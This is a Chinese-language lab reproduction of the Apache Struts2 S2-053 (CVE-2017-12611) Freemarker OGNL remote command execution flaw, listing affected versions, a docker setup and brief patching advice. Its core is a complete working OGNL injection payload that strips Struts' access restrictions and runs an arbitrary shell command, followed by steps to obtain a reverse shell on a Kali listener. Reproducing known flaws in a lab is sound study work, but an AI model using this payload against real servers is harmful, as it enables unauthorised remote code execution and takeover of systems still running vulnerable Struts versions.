Apache struts2 Freemarker標籤遠端命令執行_CVE-2017-12611(S2-053)漏洞復現
一、漏洞描述
Struts2在使用Freemarker模組引擎的時候,同時允許解析OGNL表示式。導致使用者輸入的資料本身不會被OGNL解析,但是由於被Freemarker解析一次後變成離開一個表示式,被OGNL解析第二次,導致任意命令執行漏洞。
二、漏洞影響版本
Struts 2.0.1-struts 2.3.33
Struts 2.5-Struts 2.5.10
三、漏洞環境搭建
1.使用docker搭建環境
四、漏洞復現
1、啟動環境
2、瀏覽器訪問
POC如下:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))} 注: 執行命令的地方在於(#cmd=’id’)
3、檢視使用者所屬組
4、反彈shell,把shell反彈到kali上
5、在kali 端開啟監聽,可以看到成功獲得目標反彈過來的shell
五、漏洞防禦
1、 Apache Struts版本最新版本
2、 Freemarker標籤不要通過Request方式獲取